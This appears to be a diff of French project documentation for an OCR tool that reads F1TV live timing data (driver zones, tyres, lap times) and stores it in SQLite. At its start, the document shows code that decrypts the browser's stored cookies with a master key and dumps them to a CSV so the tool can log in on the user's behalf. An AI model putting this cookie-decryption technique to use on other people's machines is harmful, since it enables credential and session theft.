      +            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
      +            writer.writerow({
      +                'host_key': row["host_key"],
      +                'name': row["name"],
      +                'value': decrypted_value,
      +                'path': row["path"],
      +                'expires_utc': row["expires_utc"],
      +                'is_secure': row["is_secure"],
      +                'is_httponly': row["is_httponly"]
      +            })
      +
      +print("Finished CSV")
      +
      +

      Et la partie C# qui appelle le script et qui lit le CSV :

      +
      private void StartCookieRecovering()
      +        {
      +            string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME;
      +            Process process = new Process();
      +            process.StartInfo.FileName = "python.exe";
      +            process.StartInfo.Arguments = scriptPath;
      +            process.StartInfo.UseShellExecute = false;
      +            process.StartInfo.RedirectStandardOutput = true;
      +            process.Start();
      +            string output = process.StandardOutput.ReadToEnd();
      +            process.WaitForExit();
      +        }
      +
      +
      public string GetCookie(string host, string name)
      +        {
      +            StartCookieRecovering();
      +            string value = "";
      +            List<Cookie> cookies = new List<Cookie>();
      +            using (var reader = new StreamReader(COOKIES_CSV_FILENAME))
      +            {
      +                // Read the header row and validate column order
      +                string header = reader.ReadLine();
      +                string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" };
      +                string[] actualColumns = header.Split(',');
      +                for (int i = 0; i < expectedColumns.Length; i++)
      +                {
      +                    if (expectedColumns[i] != actualColumns[i])
      +                    {
      +                        throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'");
      +                    }
      +                }
      +
      +                // Read each data row and parse values into a Cookie object
      +                while (!reader.EndOfStream)
      +                {
      +                    string line = reader.ReadLine();
      +                    string[] fields = line.Split(',');
      +
      +                    string hostname = fields[0];
      +                    string cookieName = fields[1];
      +
      +                    if (hostname == host && cookieName == name)
      +                    {
      +                        value = fields[2];
      +                    }
      +                }
      +            }
      +
      +            return value;
      +        }
      +
      +

      Maintenant que l'on sait comment simuler et manipuler un navigateur internet, que l'on sait comment se connecter sur le compte F1TV de l'utilisateur sans qu'il n'aie rien à faire. On a tous les ingrédients pour automatiquement récupèrer des images de la F1TV du Grand Prix que l'on souhaite.

      Calibration

      -

      [AJOUTER EXPLICATION]

      -

      OCR

      -

      Ici je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV.

      +

      Maintenant que l'on a des images de la page Data de la F1TV on pourrait croire que c'est tout bon on peut direct passer à la partie OCR. Mais que nenni !

      +

      Le gros soucis de l'OCR c'est que sa précision est grandement réduite dès que l'on augmente la taille de la zone de recherche. Même simplement deux mots sur une image, si on les prends dans images individuelles on a de grandes chances de trouver quelque chose mais si on les mets les deux sur la même et que on tente l'OCR on va avoir de résultats bien moins bons.

      +

      Et puis il faut aussi voir que selon les données que je cherche je ne peux pas faire le même traitement.

      +

      Par exemple, savoir si le DRS est allumé, savoir quels pneus chausse un pilote et depuis combien de tours et savoir quel est le temps de son dernier tour, ce sont des informations qui demandent des traitements qui n'ont rien à voir.

      +

      Il faut donc pouvoir dire au programme d'OCR ou se trouvent les informations et quelle est leur nature pour qu'il puisse les décoder.

      +

      Il faut donc faire une calibration qui puisse donner toutes les infos importantes mais qui en même temps soit facile à utiliser car un utilisateur doit être capable de le faire assez facilement.

      +

      Voici la liste des informations que l'on doit récupèrer :

      +
        +
      • La liste des pilotes présent sur le Grand Prix
      • +
      • La position de la zone principale
      • +
      • La position de chaque zone de pilote
      • +
      • La position de toutes les Window sur chaque zone de pilote
      • +
      +

      Le but a été de retirer le plus d'étapes possibles à l'utilisateur. Techniquement j'aurais pu faire une version complêtement manuelle mais ca aurait pris trop de temps alors il y a des systèmes qui permettent de rendre cette tâche moins pénible.

      +
      Liste des pilotes
      +

      Pour la liste des pilotes j'ai pensé à utiliser une API externe pour avoir une liste dans laquelle on pourrait selectionner des noms de pilotes sauf que j'ai abandonné l'idée car je trouvais que le projet avait déja bien assez de points qui dépendent de l'exterieur.

      +

      Il y a donc une liste de pilotes dans laquelle on peut ajouter ou supprimer des noms de pilotes. L'idéal serait de mettre tous les pilotes de reserve comme ca si un pilote est malade sur une course on a pas besoin de venir changer la liste.

      +
      Zone principale
      +

      Pour la zone principale c'est complêtement manuel, on attend de l'utilisateur deux points x,y sur l'image pour ensuite avoir une idée de ou est sensé se trouver la zone.

      +
      + +
      "Exemple de zone principale"
      +
      +
      Zones pilotes
      +

      C'est la que ca devient intéressant. L'utilisateur n'a pas besoin de faire quoi que ce soit pour que le programme sache ou sont les zones des pilotes.

      +

      J'aurais pu le faire manuellement en faisant choisir à l'utilisateur de donner deux points qui correspondent à la première zone et extrapoler pour en avoir 20. Sauf que si l'utilisateur n'est pas précis au pixel près (et même comme ca parfois) le vingtième pilote se retrouve avec une zone complêtement desaxée.

      +

      La, le programme va "simplement" effectuer une reconaissance de texte sur toute l'image. Les résultats ne nous intéressent pas vraiment tout ce que l'on veut c'est la position des textes.

      +

      Avec les position il est facile de determiner ou sont toutes les zones de pilotes et donc sans que l'utilisateur n'aie à toucher quoi que ce soit, dès qu'il a donné les infos pour la zone principale, les zones de pilotes sont determinées.

      +
      + +
      "Exemple zone pilote"
      +
      +

      Voici un exemple du code utilisé pour trouver ou dessiner des zones de pilotes :

      +
      public void AutoCalibrate()
      +        {
      +            List<Rectangle> detectedText = new List<Rectangle>();
      +            List<Zone> zones = new List<Zone>();
      +
      +            TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
      +            Image image = MainZone.ZoneImage;
      +            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
      +
      +            Page page = engine.Process(tessImage);
      +            using (var iter = page.GetIterator())
      +            {
      +                iter.Begin();
      +                do
      +                {
      +                    Rect boundingBox;
      +                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
      +                    {
      +                        //var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
      +                        //We remove all the rectangles that are definitely too big
      +                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS)
      +                        {
      +                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
      +                            if (boundingBox.X1 > image.Width / 2)
      +                            {
      +                                //Now we check if an other square box has been found roughly in the same y axis
      +                                bool match = false;
      +                                //The tolerance is roughly half the size that a window will be
      +                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2;
      +
      +                                foreach (Rectangle rect in detectedText)
      +                                {
      +                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
      +                                    {
      +                                        //There already is a rectangle in this line
      +                                        match = true;
      +                                    }
      +                                }
      +                                //if nothing matched we can add it
      +                                if (!match)
      +                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
      +                            }
      +                        }
      +                    }
      +                } while (iter.Next(PageIteratorLevel.Word));
      +            }
      +            //DEBUG
      +            int i = 1;
      +            foreach (Rectangle Rectangle in detectedText)
      +            {
      +                Rectangle windowRectangle;
      +                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
      +                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
      +                windowRectangle = new Rectangle(windowLocation, windowSize);
      +                //We add the driver zones
      +                Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone");
      +                MainZone.AddZone(driverZone);
      +
      +                //driverZone.ZoneImage.Save("Driver" + i+".png");
      +                i++;
      +            }
      +        }
      +
      +
      Windows pilotes
      +

      C'est ici que c'est le plus pénible pour l'utilisateur, il doit selectionner manuellement les positions des fenêtres de données. Ensuite dès que l'utilisateur a donnée une position pour chaque window, on applique les positions pour chaque zone de pilote.

      +

      Il y a plusieurs types de windows et selon le type le traitement est différent comme je l'ai dit plus tôt. Voici des exemples concrets :

      +
      + +
      "Exemple Window de pneus"
      +
      +
      + +
      "Exemple Window temps au tour"
      +
      +
      + +
      "Exemple window Drs"
      +
      +

      Il est important que toutes ces zones soient transmises avec le plus de précision possible pour que l'OCR puisse bien faire son boulot.

      +
      Stockage
      +

      Ensuite quand l'utilisateur a finit de configurer son flux, la configuration est stockée pour qu'il puisse ensuite la réutiliser pour tous les autres Grand Prix de l'année.

      +

      Le stockage est fait sous format JSON et est fait pour que le programme d'OCR puisse lire dedans toutes les infos nescessaires.

      +

      Cela fait des fichiers plutôt gros mais je n'avais pas vraiment le choix. J'ai testé une version avec seulement les infos de la première zone de pilote mais avec l'interpolation, les derniers pilotes se retrouvent avec des zones clairement pas à la bonne taille.

      +

      Voici un exemple de ce à quoi ressemble le JSON final :

      +
      {
      +  "Main": {
      +    "x": 36,
      +    "y": 343,
      +    "width": 3780,
      +    "height": 1454,
      +    "DriverZones": [
      +      {
      +        "name": "Driver1",
      +        "x": 0,
      +        "y": 1,
      +        "width": 3780,
      +        "height": 72,
      +        "Windows": [
      +          {
      +            "Position": {
      +              "x": 45,
      +              "y": 3,
      +              "width": 76,
      +              "height": 65
      +            },
      +            "GapToLeader": {
      +              "x": 447,
      +              "y": 1,
      +              "width": 206,
      +              "height": 67
      +            },
      +            "LapTime": {
      +              "x": 863,
      +              "y": 3,
      +              "width": 229,
      +              "height": 65
      +            },
      +            "DRS": {
      +              "x": 1095,
      +              "y": 1,
      +              "width": 174,
      +              "height": 67
      +            },
      +            "Tyres": {
      +              "x": 1274,
      +              "y": 3,
      +              "width": 1448,
      +              "height": 62
      +            },
      +            "Name": {
      +              "x": 2724,
      +              "y": 3,
      +              "width": 361,
      +              "height": 65
      +            },
      +            "Sector1": {
      +              "x": 3088,
      +              "y": 1,
      +              "width": 239,
      +              "height": 65
      +            },
      +            "Sector2": {
      +              "x": 3314,
      +              "y": 4,
      +              "width": 190,
      +              "height": 62
      +            },
      +            "Sector3": {
      +              "x": 3493,
      +              "y": 1,
      +              "width": 198,
      +              "height": 67
      +            }
      +          }
      +        ]
      +      },
      +      {
      +        "name": "Driver2",
      +        "x": 0,
      +        "y": 72,
      +        "width": 3780,
      +        "height": 72,
      +        "Windows": [
      +          {
      +            "Position": {
      +              "x": 45,
      +              "y": 3,
      +              "width": 76,
      +              "height": 65
      +            },
      +            "GapToLeader": {
      +              "x": 447,
      +              "y": 1,
      +              "width": 206,
      +              "height": 67
      +            },
      +            "LapTime": {
      +              "x": 863,
      +              "y": 3,
      +              "width": 229,
      +              "height": 65
      +            },
      +            "DRS": {
      +              "x": 1095,
      +              "y": 1,
      +              "width": 174,
      +              "height": 67
      +            },
      +            "Tyres": {
      +              "x": 1274,
      +              "y": 3,
      +              "width": 1448,
      +              "height": 62
      +            },
      +            "Name": {
      +              "x": 2724,
      +              "y": 3,
      +              "width": 361,
      +              "height": 65
      +            },
      +            "Sector1": {
      +              "x": 3088,
      +              "y": 1,
      +              "width": 239,
      +              "height": 65
      +            },
      +            "Sector2": {
      +              "x": 3314,
      +              "y": 4,
      +              "width": 190,
      +              "height": 62
      +            },
      +            "Sector3": {
      +              "x": 3493,
      +              "y": 1,
      +              "width": 198,
      +              "height": 67
      +            }
      +          }
      +        ]
      +      }
      +    [Other pilots...]
      +    ],
      +    "Drivers": [
      +      "Perez",
      +      "Verstappen",
      +      "Alonso",
      +      "Sainz",
      +      "Russel",
      +      "Gasly",
      +      "Leclerc",
      +      "Ocon",
      +      "Hulkenberg",
      +      "Bottas",
      +      "Hamilton",
      +      "Albon",
      +      "Tsunoda",
      +      "Zhou",
      +      "Stroll",
      +      "De Vries",
      +      "Magnussen",
      +      "Norris",
      +      "Piastri",
      +      "Sargeant"
      +    ]
      +  }
      +}
      +
      +

      Et avec tout ca. L'OCR peut démarrer dans de bonnes conditions

      +

      OCR

      +

      Maintenant que on a des images qui arrivent automatiquement et que l'on sait ou se trouvent les informations sur ces dites images, je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV.

      C'est je pense la partie qui a demandé le plus tests et de refactor.

      Toute la partie OCR a été développée dans un projet à part avant d'être intégrée dans le projet final.

      Il faut savoir que la reconnaissance est différente celon ce que l'on cherche. Je vais donc décomposer cette partie du document en sous rubriques selon les données recherchées.

      Mais avant ca je dois expliquer certains concepts qui seront importants.

      -

      Fonctionnement général

      +

      Fonctionnement général

      Voici un screenshot de la page DATA de la F1TV que le programme va recevoir :

      @@ -1496,6 +2444,8 @@ On peut y voir au moins 4 zones contenant de l'information dans un format diffé
    • On nettoie le résultat Tesseract pour compenser certains biais
    • On convertis le résultat en milisecondes
    +
    les chiffres (2)
    +

    Il faut savoir que avec la dernière version de l'émulateur (dont je vais parler un peu plus tard)

    Pneus

    La on arrive sur la partie la plus pénible.

    Pour comprendre la problématique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1.

    @@ -1693,13 +2643,483 @@ C'est une étape très importante pour l'OCR car elle permet (si bien faite) d'i

    Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente à celle d'un pixel de fond il est passé en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues.

    Une variante spécialisée pour la reconnaissance des pneus appelée affectueusement Remove Useless cherche à atteindre le même bu mais est bien plus soffistiquée et spécialisée pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus.

    Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du développer mais que je n'ai pas utilisé donc je ne vais pas en parler ici.

    -

    Interprétation des données

    +
    Petit point résolution
    +

    Comme on peut l'imaginer la résolution est extrêmement importante pour l'OCR. Et en avancant sur le projet de l'émulateur je me suis rendu compte qu'il était possible de récupèrer des images en 4K (Plutôt 1080 avec l'upscaling du lecteur). Cela est une superbe nouvelle car cela permet de simplifier énormément le processing sur les différentes windows.

    +

    Quelques exemples pour se faire une idée

    +
    + +
    "Echantillon 720P"
    +
    +

    ;

    +
    + +
    "Echantillon 1080P"
    +
    +
    + +
    "Echantillon 4K"
    +
    +

    Mais il faut savoir que grâce à cette simplification j'ai pu aussi créer d'autres methodes de filtrage pour certaines parties. Mais la simplification était obligatoire car avec des images aussi grande il n'était simplement pas possible de venir appliquer les mêmes filtres car le temps de traitement serait beaucoup plus long.

    +

    J'indique ces changements que après l'explication d'avant car ce sont des changements un peu de dernière minute et que la logique expliquée plus haut a été très importante pour le projet OCR même si tout n'est plus forcément utilisé maintenant que j'ai des images de meilleure qualité.

    +

    Dans la version actuellement disponible la reconnaissance a été simplifiée sous cette forme :

    +
      +
    • Le "GapToLeader" est décodé avec un premier passage de Tresholding à 165 puis un Resize de 2 et une Dilatation de 1 pour retirer le flou
    • +
    • Les "Sectors" sont décodés en utilisant une toute nouvelle methode VanishOxyAction à cause des couleurs parfois appliquées et ensuite simplement une methode de Tresholding de 150 pour rendre le résultat assez propre pour l'OCR.
    • +
    • Le "LapTime" est dabord passé par un Tresholding très strict de 185 pour préparer la SobelEdgeDetection qui est également une nouvelle methode qu'il a été possible d'utiliser grâce à la simplification du reste des processus.
    • +
    • Le "Text" est décodé simplement avec un tresholding de 165 maintenant grâce à l'image 4K.
    • +
    • Les pneus ont leur propre traitement comme expliqué plus haut auquel on ajoute la Dilatation de 1.
    • +
    +

    Comme on peut le voir le traitement est pas mal plus simple mais cela ne veut pas dire que les autres methodes que je n'utilise plus ne sont pas utiles. La reconnaissance n'est pas encore parfaite et je pense que leur utilisation pourrait aider à améliorer les résultats. (Et parfois ces anciennes methodes sont utiles dans les traitements personnalisés des windows elle mêmes comme par exemple les pneus qui utilisent la methode GrayScale pour isoler les couleurs)

    +

    VanishOxyAction

    +

    Cette methode est une methode plutôt simple mais qui est importante. Elle se base beaucoup sur le code de la methode Grayscale et sur la methode Tresholding car elle essaie de regrouper le meilleur des deux en règlant quelques soucis que ces dernières crééent.

    +

    Le soucis avec la methode grayscale c'est que quand le texte est de couleur (Ce qui arrive souvent pour les temps de secteurs) la methode GrayScale rend les couleurs dans une nuance de gris un peu trop sombre ce qui fait que ensuite la methode de Tresholding défonce tout.

    +
    + +
    "Exemple de secteur en couleur"
    +
    +
    + +
    "Exemple de secteur en grayscale"
    +
    +

    L'idée est alors de prendre pour chaque pixel et de garder uniquement la valeur de R,G ou B la plus haute et de mettre les deux autres canaux au même niveau pour avoir une image blanchie qui puisse être ensuite utilisée avec la methode de Tresholding sans soucis.

    +
    + +
    "Exemple de secteur blanchi avec vanishoxyAction"
    +
    +

    SobelEdgeDetection

    +

    On pourrait se dire que avec ce genre de methode le tresholding est inutile ensuite mais ca n'est pas le cas car le tresholding sert ensuite pour rendre les contours plus ou moins aggressif. Car même si l'image ressemble à une image binarisée, il reste des nuances que le treshold va pouvoir utiliser.

    +

    SobelEdgeDetection

    +

    Cette methode est une methode assez classique que je n'ai pas designé moi même alors je ne vais pas trop m'épancher dessus.

    +

    En gros on utilise une matrice et une formule mathématique pour redessiner une image et le résultat est une image avec des contours. Je ne l'ai utilisé que pour les temps au tour car ce sont les plus récalcitrants.

    +

    Cette methode a besoin d'une image passée en noir et blanc au préalable à laquelle on applique ensuite les matrrices de filtres. Et avec ces filtres ajoutés à l'image on peut ensuite calculer le "Gradient" pour créer les bords.

    +

    Le seul soucis de cette methode c'est qu'elle est assez gourmande et qu'elle fournit des formes creuses dû à la nature des matrices données.

    +

    Voici un exemple de ce dont cette méthode est capable :

    +
    +Artefacts de la detection de bords de Sobel +
    Artefacts de la detection de bords de Sobel
    +
    +

    Apparemment l'OCR aime assez bien cette methode et elle permet de beaucoup moins souvent oublier les '.' ou ':'

    +

    Traitement des données

    +

    C'est bien gentil de recevoir des résultats de l'OCR, cependant on ne peut pas souvent les utiliser comme tels. En effet les resultats ne sont pas très constants et demandent d'être verifiés pour savoir si ils doivent être pris en compte.

    +

    Le post traitement de ces données dépend complêtement du contexte et donc il est différent pour chque type de window.

    +

    Voici un florilège des différents types de traitements :

    +
      +
    • Traitement du nom de pilote
    • +
    +

    Rien de plus que ce qui est déja détaillé dans la partie OCR

    +
      +
    • Traitement des pneus
    • +
    +

    Pareil

    +
      +
    • Traitement des temps
    • +
    +

    La par contre c'est intéressant. Dans un monde parfait je pourrais simplement prendre les résultats de l'OCR et les traiter directement. Mais comme nous vivons dans un monde ou la souffrance et la douleur sont les seules choses autorisées on ne peut pas.

    +

    Le problème vient du fait que les temps que l'on peut trouver sur la F1TV sont encodés avec des '.' et des ':' qui determinent les limites entre les chiffres qui désignent les minutes, les secondes et les milisecondes. Et le soucis avec ces séparateurs c'est qu'ils aiment bien mettre le chaos dans la reconnaissance. Quand ils ne sont pas compris comme des autres chiffres ils sont parfois simplement oubliés ou pris en double c'est un enfer.

    +

    Il faut donc trouver un moyen de detecter quand cela arrive. Et je n'ai pas trouvé de meilleur moyen que de faire du cas par cas.

    +

    Cela peut paraître simple quand on parle par exemple des secteurs. On sasit que on attend deux chiffres avant un '.' et trois chiffres après. Il est donc facile de voir que si je trouve six chiffres et pas de séparation le troisième est le séparateur mal compris.

    +

    Mais l'exemple qui détruit vraiment tout c'est les écarts avec le leader. Autant un temps au tour c'est toujours x:xx.xxx et un temps de secteur c'est xx.xxx. Mais un écart avec le leader ca peut être 0.345 comme 1:12.345. Ce qui fait que quand je 121345 est-ce que c'est 12.345 ou 1:21.345...?

    +

    Souvent on peut quand même déduire mais cela demande de prévoir presque tous les cas limites ce qui est assez pénible.

    +

    On pourrait se dire qu'il suffit de voir si la valeur est trop en dehors des normes. Le soucis c'est que il n'est pas impossible que un temps au tour ou un écart prenne d'un coup une grosse différence. Cela arrive même assez souvent quand des pilotes sortent de la piste.

    +
    + +
    "Exemple temps au tour"
    +
    +
    + +
    "Exemple temps secteur"
    +
    +

    Pour ce qui est du DRS et de la position des pilotes, il n'y a pas vraiment de traitement supplémentaire. Non pas car la detection est parfaite, mais par ce que la detection ne peut pas rater de 200 facons. Le DRS ne peut retourner que TRUE ou FALSE et la position du pilote est entre 1 et 20 compris. Le peu de nuance fait que ce sont des cas de figures qui ne demandent pas un traitement particulier au delà de l'OCR

    Stockage des données

    +

    Dans ce projet le but n'est pas simplement de trouver les données et les afficher. L'intérêt de les récupèrer est de pouvoir les comparer à d'autres données précédentes.

    +

    Le vrai soucis de la F1TV c'est justement que l'on ne peut pas facilement voir les évolutions. On ne peut voir que des "photos" de la situation actuelle de la course.

    +

    Il faut donc garder en mémoire les différentes choses qui se sont passées. Techniquement on pourrait stocker ces données dans de bêtes listes C#. Mais le soucis avec ca c'est que même si des outils comme LinQ existent, ca n'est pas le plus pratique quand on veut faire des recherches complexes.

    +

    Il faut aussi voir que si le projet dans sa forme actuelle aurait peut-être pu se satisfaire de listes simples, le but est d'ensuite pouvoir construire sur ces bases pour faire des predictions et des insertions de stats beaucoup plus intéressantes qui demandent de faire des requêtes complexe rapidement.

    +

    Je me suis dit que la meilleure methode serait d'avoir une base de donnée dans laquelle je peux faire des requètes SQL. Mais commme je n'ai pas besoin de toutes les features de SQl et que je ne veut pas avoir à gèrer un serveur de base de donnée et tout ce qui va avec je me suis dit qu'une bonne option serait d'utiliser SQLITE.

    +
    + +
    "Logo Sqlite"
    +
    +

    ;

    +

    SQLITE est vraiment pratique car cela me permet d'avoir une DB sans avoir de serveur donc pas vraiment complexe ou quoi que ce soit mais qui conserve les aventages de rapidité et d'utilisation de requetes SQl.

    +

    J'ai créé trois tables dans cette base de donnée SQLITE que voici :

    +

    Base de donnée

    +

    Drivers

    + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    IDINTEGERID du pilotePRIMARY
    NameVARCHARNom du piloteNOT NULL
    +

    Pitstops

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    LapINTEGERTour durant lequel le Pitstop a été effectuéPRIMARY
    DriverIDINTEGERPilote qui a effectué le PitstopPRIMARY
    TyreVARCHARPneu chaussé par le piloteNOT NULL
    +

    Stats

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    LapINTEGERTour durant lequel le Pitstop a été effectuéPRIMARY
    DriverIDINTEGERPilote qui concernéPRIMARY
    TyreVARCHARPneu chaussé par le piloteNOT NULL
    LapTimeINTEGERTemps au tour (MS)NOT NULL
    Sector1INTEGERTemps du secteur 1 (MS)NOT NULL
    Sector2INTEGERTemps du secteur 2 (MS)NOT NULL
    Sector3INTEGERTemps du secteur 3 (MS)NOT NULL
    GapToLeaderINTEGEREcart avec le leader (MS)NOT NULL
    PositionINTEGERPosition piloteNOT NULL
    +

    La table Drivers sert juste à stocker les différents noms de pilote pour qu'ils soient utilisés dans le reste de la DB

    +

    La table Pitstops n'est pas vraiment utilisée dans l'état actuel du projet. Mais le but était de la remplir dès que le programme détectais un arrêt aux stands. Le but est ensuite de pouvoir construire un classement pondèré en fonction des arrêts des différents pilotes et d'afficher la stats tout le temps sur l'affichage principal. +Elle n'est pas vraiment utilisée car la detection de pitstop n'a pas pu être commplêtée. De par la nature des données récupèrées des pneus et des positions, c'est très difficile de detecter avec prescision un arrêt aux stands.

    +

    La table Stats est la plus importante car elle contient toutes les informations concernant les pilotes à chaque tour. L'idée est qu'elle soit remplie à chaque tour. Les infos ne sont pas scensée être les infos live mais plutôt juste une photo à chaque tour de la situation de chaque pilote pour ensuite pouvoir faire des commparaisons tourspar tours. Des données comme le GapToLeader peuvent évoluer pendant le tour mais on s'en fiche. Ce qui compte vraiment c'est le temps au tour et les secteurs ainsi que les pneus.

    +

    Quand remplir la base ?

    +

    Dans ce projet il y a deux type d'information. Les informations live qui sont stockées dans des listes et les informations long terme qui sont stockées dans la DB.

    +

    A chaque itération de l'OCR, les données récupèrées sont stockées dans une liste de DRIVERDATA.

    +

    Les DRIVERDATA sont des structures de données qui contiennent toutes les infos d'un pilote à un instant T. Elles peuvent être incomplêtes et sont juste la pour faire de petits calculs et determiner quand insèrer des données permanentes.

    +

    Ce qui nous amène au moment intéressant. Comment on détermine quand il est intéressant d'insèrer des informations dans la base de données.

    +

    Il y a deux cas de figure ou on pourrait vouloir insèrer des infos :

    +
    Quand un pilote a finit un tour
    +

    En effet, j'ai estimé que les seuls moments ou on veut garder une photo de la situation du pilote c'est quand il passe d'un tour à l'autre. +Le raisonnement est le suivant : +On ne veut pas conserver TOUTES les données car si on prend une phot toutes les trois secondes, la majorité des informations seront redondantes avec les précédentes. +Mais en même temps il ne faut pas rater des changements importants de données. +Les seules données qui changent entre deux passages de l'OCR sont les écarts entre les pilotes et de temps en temps un nouveau secteur s'affiche. Alors que d'un tour à l'autre presque toutes les informations changent. Et on ne perd que les légères fluctuations des écarts entre les pilotes.

    +

    J'ai donc décidé de conserver une photo par tour. Mais c'est bien joli sauf qu'il reste une difficulté : Comment savoir qu'un pilote a fait son tour ?

    +

    Cela peut paraître simple comme question mais elle est plus difficile qu'il n'y parait. Il faut savoir que en F1 un pilote peut être dans son 26ème tour pendant qu'un autre en est à son 24ème. Chaque pilote a sa propre course et au fur et à mesure que les écarts se creusent il peut y avoir un tour voir plusieurs d'écart entre la queue de course et les premiers pilotes.

    +

    Ensuite il faut savoir qu'il n'est pas marqué sur la f1TV dans quel tour chaque pilote est. Il faut donc le déduire en fonction des Data.

    +

    Voici le code le if qui détecte un nouveau tour

    +
    if (DriverDataLogs[i][DriverDataLogs[i].Count - 1].Sector3 != 0
    +&& DriverDataLogs[i][DriverDataLogs[i].Count - 2].Sector3 == 0
    +&& DriverDataLogs[i][DriverDataLogs[i].Count - 2].Position != -1
    +&& DriverDataLogs[i][DriverDataLogs[i].Count - 1].Position != -1)
    +{
    +  //Do stuff
    +}
    +
    +

    DriverDataLogs est une liste de liste d'informations de pilotes.

    +

    Chaque DriverDataLogs représente les 20 photos des données des pilotes.

    +

    Cela veut dire que DriverDataLogs[3] représente toutes les infos des pilotes dans le tour 4 et que DriverDataLogs[3][0] représente toutes les infos du premier pilote dans le tour 3.

    +

    Si on analyse un peu ce qui est écrit avec ces informations, on peut voir que je détermine qu'un nouveau tour se définis comme une photo ou le troisième secteur a été complêté et ou il ne l'était pas juste avant. Cela fait sens car quand un pilote complête son troisième secteur c'est la que son dernier temps au tour se met à jour.

    +

    Le reste des tests est juste la pour éviter les faux positifs dans le cas ou un des deux DriverDataLogs[x][x] soit corrompu et que donc la valeur n'aie pas de sens. Cela veut dire que dans des conditions très spécifiques je pourrais potentiellement rater un tour mais il faudrait vraiment que l'OCR me joue un vilain tour.

    +
    Quand un pilote a fait un arrêt aux stands
    +

    Et la on touche le plus difficile. Pourtant un arrêt aau stand ne devrait pas être compliqué à detecter. C'est quand un pilote change de pneu. Alors il peut changer de pneu en gardant le même type de pneu et donc tout repose sur le nombre de tour qu'un pneu fait.

    +

    Sauf que il faut ajouter à cette reflexion qu'un pneu peut être chaussé sans qu'il soit neuf. Ce qui veut dire que l'on ne peut pas simplement choisir qu'un pilote a changé de pneus quand ses pneus sont à 1 tour. Il peut très bien reprendre des pneus de qualif qui peuvent avoir 10 tours dans les pattes.

    +

    En plus quand le pilote change de pneus il y a un phenomene assez pénible qui fait que les deux premiers tours faits avec ne sont pass vraiment déchiffrables car ils sont un peu cachés derrière la lettre qui indique le nouveau pneu chaussé.

    +

    Exemple :

    +
    + +
    "Infographie de pneu qui se chevauche"
    +
    +

    Voici le code que j'avais écrit pour tenter de trouver quand un pilote avait fait un pitstop :

    +
    if (data.CurrentTyre.Coumpound != Tyre.Type.Undefined 
    +&& data.CurrentTyre.NumberOfLaps == 0 
    +&& DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps != 0)
    +{
    +  //Do stuff
    +}
    +
    +

    On peut voir que j'essaie de detecter quand le pneu est à 0 tours (ce qui est le moment ou il y a une lettre à la place d'un numéro de tour) et que la photo d'avant montrait un pneu normal.

    +

    On vérifie aussi que le pneu a bien été detecté en verifiant que le pneu n'est pas de type undefined.

    +

    Le soucis c'est que ce n'est pas rare que l'OCR nous retourne qu'un pneu est vieux de 0 tours et donc il est absolument impossible de faire confiance à cette metric.

    +

    Si on veut utiliser cette methode pour trouver les Pitstop il va falloir avant tout améliorer l'OCR sur ce point.

    +

    Ce soucis mets en lumière un principe assez important de l'informatique "Ggarbage in, Garbage out". Si les données que je recoit ne sont pas géniales, le résultat ne sera pas génial non plus. Ce qui est frustrant c'est que la detection des pneus n'est pas si mal mais entre les chiffres qui se chevauchent ce qui nous fait lire 0 alors que c'est juste un un '1' derrière un 'H' ou le 1% du temps ou le programme se trompe, on ne peut pour l'instant tout simplement rien faire de mieux.

    Affichage des données

    -

    Prédictions

    +

    Maintenant que l'on a stocké toutes ces données, il faut en faire quelque chose sinon ca ne sert a rien.

    +

    Afficher les données est techniquement la partie la plus simple du projet. Il faut prendre les données qui nous intéressent de la base de données et des résultats de l'OCR et les afficher sur des composants Windows Forms.

    +

    Il y a deux types d'affichages actuellements mis en place dans le projet sur les trois prévus initialement :

    +

    Affichage direct

    +

    L'affichage direct est simplement l'affichage du résultat de l'OCR.

    +

    Par exemple le classement live ainsi que les écarts entre les pilotes sont affichés directement depuis les résultats de l'OCR. Ce ne sont pas forcément des données prises dans la base de donnée.

    +

    Voici un exemple :

    +
    for (int driverCount = 0; driverCount < liveData.Count; driverCount++)
    +{
    +    DriverData driver = liveData[driverCount];
    +    lblDriverName.Text = driver.Name;
    +    lblDriverPosition.Text = driver.Position;
    +    lblDriverLapTime.Text = Reader.ConvertMsToTime(driver.LapTime);
    +}
    +
    +

    C'est l'affichage le plus simple et celui qui est le plus soumis à des erreurs. En effet, si un pilote est mal detecté on le verra directement mal s'afficher dans la Form principale.

    +

